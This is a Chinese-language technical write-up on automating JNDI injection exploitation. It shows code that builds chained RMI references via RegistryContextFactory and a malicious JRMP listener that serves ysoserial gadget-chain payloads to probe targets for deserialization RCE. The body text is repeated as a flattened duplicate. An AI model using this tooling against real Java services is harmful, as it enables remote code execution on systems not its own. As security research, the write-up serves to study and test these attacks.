JNDI漏洞利用探索
字数 1309 2025-08-25 22:59:02

JNDI漏洞利用探索与自动化测试技术

1. JNDI漏洞概述

JNDI (Java Naming and Directory Interface) 是Java提供的一个API,用于访问命名和目录服务。由于JNDI的动态类加载机制,攻击者可以通过恶意的JNDI查找触发远程代码执行。

2. JNDI漏洞利用核心问题

  1. 自动化测试Bypass利用链:手动更改URL测试每个JNDI Bypass利用链效率低下
  2. 自动化探测反序列化利用链:探索如何自动化测试反序列化利用链

3. RegistryContextFactory利用分析

3.1 核心机制

com.sun.jndi.rmi.registry.RegistryContextFactory类可用于自动化测试:

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
    if (!isRegistryRef(var1)) {
        return null;
    } else {
        Object var5 = URLsToObject(getURLs((Reference)var1), var4);
        if (var5 instanceof RegistryContext) {
            RegistryContext var6 = (RegistryContext)var5;
            var6.reference = (Reference)var1;
        }
        return var5;
    }
}

3.2 URL获取机制

getURLs方法从Reference中提取URL:

private static String[] getURLs(Reference var0) throws NamingException {
    int var1 = 0;
    String[] var2 = new String[var0.size()];
    Enumeration var3 = var0.getAll();
    while(var3.hasMoreElements()) {
        RefAddr var4 = (RefAddr)var3.nextElement();
        if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
            var2[var1++] = (String)var4.getContent();
        }
    }
    // ...
}

3.3 请求处理流程

  1. 创建rmiURLContextFactory对象
  2. 调用getObjectInstance
  3. 如果是数组类型,调用getUsingURLs
  4. 创建rmiURLContext并循环调用lookup

4. 自动化测试实现

4.1 核心代码实现

public ResourceRef execAll() throws RemoteException, NamingException {
    ResourceRef ref = new ResourceRef("xxxx", null,true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
    for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
        String mapKey = entry.getKey();
        String mapValue = entry.getValue();
        if(!mapValue.equals("BypassTestAll")){
            ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
        }
    }
    return ref;
}

4.2 RMIRefServer处理

private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
    // ...
    if (reference.startsWith("BypassTestAll")){
        System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll.");
        Reflections.setFieldValue(rw, "wrappee", execAll());
    }
    // ...
}

4.3 递归查询问题

如果引用中的地址也是RegistryContextFactory,会导致递归查询,可能触发栈溢出:

Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);

5. 反序列化利用链自动化探测

5.1 JRMPListener利用

ysoserial#JRMPListener模块构建JRMP监听,返回恶意异常对象:

out.writeByte(TransportConstants.Return);
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val",payload);
oos.writeObject(ex);

5.2 反序列化触发点

StreamRemoteCall#executeCall中:

switch (returnType) {
    case TransportConstants.NormalReturn:
        break;
    case TransportConstants.ExceptionalReturn:
        Object ex;
        try {
            ex = in.readObject();
        } catch (Exception e) {
            throw new UnmarshalException("Error unmarshaling return", e);
        }
        if (ex instanceof Exception) {
            exceptionReceivedFromServer((Exception) ex);
        } else {
            throw new UnmarshalException("Return type not Exception");
        }
    // ...
}

5.3 自动化探测实现

public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};

public Object execAllGadgat() {
    ResourceRef ref = new ResourceRef("xxxx", null,true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
    for(String gadget:gadgets){
        ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
    }
    return ref;
}

6. 利用链限制与注意事项

  1. 依赖Tomcat:需要使用ResourceRef,因此依赖Tomcat环境
  2. 协议限制:目前只能通过RMI协议进行自动化检测
  3. 利用链限制:CC1、CC3、CC7无法通过异常类型判断是否存在
  4. 递归查询:可能导致栈溢出但通常不影响程序使用

7. 总结

  1. 通过RegistryContextFactory可以实现JNDI Bypass利用链的自动化测试
  2. 结合JRMPListener可以实现反序列化利用链的自动化探测
  3. 当前方案主要依赖RMI协议,对LDAP协议的支持有限
  4. 部分利用链(如CC1、CC3、CC7)无法通过异常类型准确判断

8. 附录:关键类与方法

类/方法 功能描述
com.sun.jndi.rmi.registry.RegistryContextFactory 处理RMI引用,自动发起多个RMI请求
getURLs() 从Reference中提取URL列表
URLsToObject() 处理URL数组并发起请求
getUsingURLs() 循环调用lookup直到获取有效对象
StreamRemoteCall#executeCall RMI调用处理核心,触发反序列化
JNDI漏洞利用探索与自动化测试技术 1. JNDI漏洞概述 JNDI (Java Naming and Directory Interface) 是Java提供的一个API,用于访问命名和目录服务。由于JNDI的动态类加载机制,攻击者可以通过恶意的JNDI查找触发远程代码执行。 2. JNDI漏洞利用核心问题 自动化测试Bypass利用链 :手动更改URL测试每个JNDI Bypass利用链效率低下 自动化探测反序列化利用链 :探索如何自动化测试反序列化利用链 3. RegistryContextFactory利用分析 3.1 核心机制 com.sun.jndi.rmi.registry.RegistryContextFactory 类可用于自动化测试: 3.2 URL获取机制 getURLs 方法从Reference中提取URL: 3.3 请求处理流程 创建 rmiURLContextFactory 对象 调用 getObjectInstance 如果是数组类型,调用 getUsingURLs 创建 rmiURLContext 并循环调用 lookup 4. 自动化测试实现 4.1 核心代码实现 4.2 RMIRefServer处理 4.3 递归查询问题 如果引用中的地址也是 RegistryContextFactory ,会导致递归查询,可能触发栈溢出: 5. 反序列化利用链自动化探测 5.1 JRMPListener利用 ysoserial#JRMPListener 模块构建JRMP监听,返回恶意异常对象: 5.2 反序列化触发点 在 StreamRemoteCall#executeCall 中: 5.3 自动化探测实现 6. 利用链限制与注意事项 依赖Tomcat :需要使用 ResourceRef ,因此依赖Tomcat环境 协议限制 :目前只能通过RMI协议进行自动化检测 利用链限制 :CC1、CC3、CC7无法通过异常类型判断是否存在 递归查询 :可能导致栈溢出但通常不影响程序使用 7. 总结 通过 RegistryContextFactory 可以实现JNDI Bypass利用链的自动化测试 结合JRMPListener可以实现反序列化利用链的自动化探测 当前方案主要依赖RMI协议,对LDAP协议的支持有限 部分利用链(如CC1、CC3、CC7)无法通过异常类型准确判断 8. 附录:关键类与方法 | 类/方法 | 功能描述 | |---------|---------| | com.sun.jndi.rmi.registry.RegistryContextFactory | 处理RMI引用,自动发起多个RMI请求 | | getURLs() | 从Reference中提取URL列表 | | URLsToObject() | 处理URL数组并发起请求 | | getUsingURLs() | 循环调用lookup直到获取有效对象 | | StreamRemoteCall#executeCall | RMI调用处理核心,触发反序列化 |